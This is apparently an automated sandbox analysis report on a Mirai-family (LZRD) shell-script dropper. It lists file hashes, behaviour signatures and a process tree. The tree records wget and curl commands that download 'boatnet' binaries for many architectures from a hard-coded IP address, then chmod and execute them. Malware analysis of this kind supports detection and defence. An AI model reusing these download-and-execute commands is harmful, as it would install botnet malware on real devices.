Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    31-10-2024 19:16

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    7223c9d6dfd0588a042452a35c3eedd5

  • SHA1

    3ee35c5d531fccd8bdefb6143429e29575ee47e4

  • SHA256

    75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420

  • SHA512

    d2f5d60d1f528fa306b856a9dfb35e862b7e3e9db01a6c973cc2b11ed83e7a4e896d6542cd96a3699c3ddadaa8befde862d1205a5350efb047293be59caa898e

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 30 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 30 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 29 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:1497
    • /usr/bin/wget
      wget http://37.221.93.101/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1498
    • /usr/bin/curl
      curl -O http://37.221.93.101/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1499
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:1503
      • /bin/chmod
        chmod +x boatnet.x86 config-err-gACG2o netplan_4tig9c16 ohshit.sh snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-tkmHeq systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-Z8MSR1 WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1504
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1505
      • /usr/bin/wget
        wget http://37.221.93.101/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1509
      • /usr/bin/curl
        curl -O http://37.221.93.101/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1510
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 config-err-gACG2o netplan_4tig9c16 ohshit.sh snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-tkmHeq systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-Z8MSR1 WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1512
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1513
      • /usr/bin/wget
        wget http://37.221.93.101/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1517
      • /usr/bin/curl
        curl -O http://37.221.93.101/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1518
      • /bin/chmod
        chmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-gACG2o netplan_4tig9c16 ohshit.sh snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-tkmHeq systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-Z8MSR1 WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1525
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1526
      • /usr/bin/wget
        wget http://37.221.93.101/hiddenbin/boatnet.i468
        2⤵
          PID:1530
        • /usr/bin/curl
          curl -O http://37.221.93.101/hiddenbin/boatnet.i468
          2⤵
          • Writes file to tmp directory
          PID:1533
        • /bin/chmod
          chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-gACG2o netplan_4tig9c16 ohshit.sh snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-tkmHeq systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-Z8MSR1 WTF
          2⤵
          • File and Directory Permissions Modification
          PID:1536
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1537
        • /usr/bin/wget
          wget http://37.221.93.101/hiddenbin/boatnet.i686
          2⤵
            PID:1541
          • /usr/bin/curl
            curl -O http://37.221.93.101/hiddenbin/boatnet.i686
            2⤵
            • Writes file to tmp directory
            PID:1542
          • /bin/chmod
            chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-gACG2o netplan_4tig9c16 ohshit.sh snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-tkmHeq systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-Z8MSR1 WTF
            2⤵
            • File and Directory Permissions Modification
            PID:1544
          • /tmp/WTF
            ./WTF
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1545
          • /usr/bin/wget
            wget http://37.221.93.101/hiddenbin/boatnet.x86_64
            2⤵
            • Writes file to tmp directory
            PID:1549
          • /usr/bin/curl
            curl -O http://37.221.93.101/hiddenbin/boatnet.x86_64
            2⤵
            • Writes file to tmp directory
            PID:1550
          • /bin/chmod
            chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-gACG2o netplan_4tig9c16 ohshit.sh snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-tkmHeq systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-Z8MSR1 WTF
            2⤵
            • File and Directory Permissions Modification
            PID:1552
          • /tmp/WTF
            ./WTF
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1553
          • /usr/bin/wget
            wget http://37.221.93.101/hiddenbin/boatnet.mpsl
            2⤵
            • Writes file to tmp directory
            PID:1557
          • /usr/bin/curl
            curl -O http://37.221.93.101/hiddenbin/boatnet.mpsl
            2⤵
            • Writes file to tmp directory
            PID:1558
          • /bin/chmod
            chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-gACG2o netplan_4tig9c16 ohshit.sh snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-tkmHeq systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-Z8MSR1 WTF
            2⤵
            • File and Directory Permissions Modification
            PID:1560
          • /tmp/WTF
            ./WTF
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1561
          • /usr/bin/wget
            wget http://37.221.93.101/hiddenbin/boatnet.arm
            2⤵
            • Writes file to tmp directory
            PID:1565
          • /usr/bin/curl
            curl -O http://37.221.93.101/hiddenbin/boatnet.arm
            2⤵
            • Writes file to tmp directory
            PID:1566
          • /bin/chmod
            chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-gACG2o netplan_4tig9c16 ohshit.sh snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-tkmHeq systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-Z8MSR1 WTF
            2⤵
            • File and Directory Permissions Modification
            PID:1568
          • /tmp/WTF
            ./WTF
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1569
          • /usr/bin/wget
            wget http://37.221.93.101/hiddenbin/boatnet.arm5
            2⤵
            • Writes file to tmp directory
            PID:1573
          • /usr/bin/curl
            curl -O http://37.221.93.101/hiddenbin/boatnet.arm5
            2⤵
            • Writes file to tmp directory
            PID:1574
          • /bin/chmod
            chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-gACG2o netplan_4tig9c16 ohshit.sh snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-tkmHeq systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-Z8MSR1 WTF
            2⤵
            • File and Directory Permissions Modification
            PID:1576
          • /tmp/WTF
            ./WTF
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1577
          • /usr/bin/wget
            wget http://37.221.93.101/hiddenbin/boatnet.arm6
            2⤵
            • Writes file to tmp directory
            PID:1581
          • /usr/bin/curl
            curl -O http://37.221.93.101/hiddenbin/boatnet.arm6
            2⤵
            • Writes file to tmp directory
            PID:1582
          • /bin/chmod
            chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-gACG2o netplan_4tig9c16 ohshit.sh snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-tkmHeq systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-Z8MSR1 WTF
            2⤵
            • File and Directory Permissions Modification
            PID:1584
          • /tmp/WTF
            ./WTF
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1585
          • /usr/bin/wget
            wget http://37.221.93.101/hiddenbin/boatnet.arm7
            2⤵
            • Writes file to tmp directory
            PID:1589
          • /usr/bin/curl
            curl -O http://37.221.93.101/hiddenbin/boatnet.arm7
            2⤵
            • Writes file to tmp directory
            PID:1590
          • /bin/chmod
            chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-gACG2o netplan_4tig9c16 ohshit.sh snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-Z8MSR1 WTF
            2⤵
            • File and Directory Permissions Modification
            PID:1594
          • /tmp/WTF
            ./WTF
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1595
          • /usr/bin/wget
            wget http://37.221.93.101/hiddenbin/boatnet.ppc
            2⤵
            • Writes file to tmp directory
            PID:1599
          • /usr/bin/curl
            curl -O http://37.221.93.101/hiddenbin/boatnet.ppc
            2⤵
            • Writes file to tmp directory
            PID:1604
          • /bin/chmod
            chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-gACG2o netplan_4tig9c16 ohshit.sh snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-Z8MSR1 WTF
            2⤵
            • File and Directory Permissions Modification
            PID:1629
          • /tmp/WTF
            ./WTF
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1630
          • /usr/bin/wget
            wget http://37.221.93.101/hiddenbin/boatnet.spc
            2⤵
            • Writes file to tmp directory
            PID:1634
          • /usr/bin/curl
            curl -O http://37.221.93.101/hiddenbin/boatnet.spc
            2⤵
            • Writes file to tmp directory
            PID:1635
          • /bin/chmod
            chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-gACG2o netplan_4tig9c16 ohshit.sh snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-Z8MSR1 WTF
            2⤵
            • File and Directory Permissions Modification
            PID:1637
          • /tmp/WTF
            ./WTF
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1638
          • /usr/bin/wget
            wget http://37.221.93.101/hiddenbin/boatnet.m68k
            2⤵
            • Writes file to tmp directory
            PID:1642
          • /usr/bin/curl
            curl -O http://37.221.93.101/hiddenbin/boatnet.m68k
            2⤵
            • Writes file to tmp directory
            PID:1643
          • /bin/chmod
            chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-gACG2o netplan_4tig9c16 ohshit.sh snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-Z8MSR1 WTF
            2⤵
            • File and Directory Permissions Modification
            PID:1645
          • /tmp/WTF
            ./WTF
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1646
          • /usr/bin/wget
            wget http://37.221.93.101/hiddenbin/boatnet.sh4
            2⤵
            • Writes file to tmp directory
            PID:1650
          • /usr/bin/curl
            curl -O http://37.221.93.101/hiddenbin/boatnet.sh4
            2⤵
            • Writes file to tmp directory
            PID:1651
          • /bin/chmod
            chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-gACG2o netplan_4tig9c16 ohshit.sh snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-Z8MSR1 WTF
            2⤵
            • File and Directory Permissions Modification
            PID:1653
          • /tmp/WTF
            ./WTF
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1654

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • /tmp/boatnet.x86

          Filesize

          20KB

          MD5

          9989c8ea288da2dddad73db20f372194

          SHA1

          06efc879f9c23d099b6716bf9f84ac8666f29e98

          SHA256

          9d780354175a3b406f5764962a3ba7c137961d10005c632db0e7baae9e0b9008

          SHA512

          32ea5c58eb7fac324c88f576c7e05867599e5d3380f8868302a315ecc84427e2f80693386150e3121842a06f15c476224c4f66a1dda4d71d47511a1d7c600de9

        • memory/1505-1-0x0000000008048000-0x00000000080547a0-memory.dmp

        • memory/1513-2-0x0000000008048000-0x00000000080547a0-memory.dmp

        • memory/1526-3-0x0000000008048000-0x00000000080547a0-memory.dmp

        • memory/1537-4-0x0000000008048000-0x00000000080547a0-memory.dmp

        • memory/1545-5-0x0000000008048000-0x00000000080547a0-memory.dmp

        • memory/1553-6-0x0000000008048000-0x00000000080547a0-memory.dmp

        • memory/1561-7-0x0000000008048000-0x00000000080547a0-memory.dmp

        • memory/1569-8-0x0000000008048000-0x00000000080547a0-memory.dmp

        • memory/1577-9-0x0000000008048000-0x00000000080547a0-memory.dmp

        • memory/1585-10-0x0000000008048000-0x00000000080547a0-memory.dmp

        • memory/1595-11-0x0000000008048000-0x00000000080547a0-memory.dmp

        • memory/1630-12-0x0000000008048000-0x00000000080547a0-memory.dmp

        • memory/1638-13-0x0000000008048000-0x00000000080547a0-memory.dmp

        • memory/1646-14-0x0000000008048000-0x00000000080547a0-memory.dmp

        • memory/1654-15-0x0000000008048000-0x00000000080547a0-memory.dmp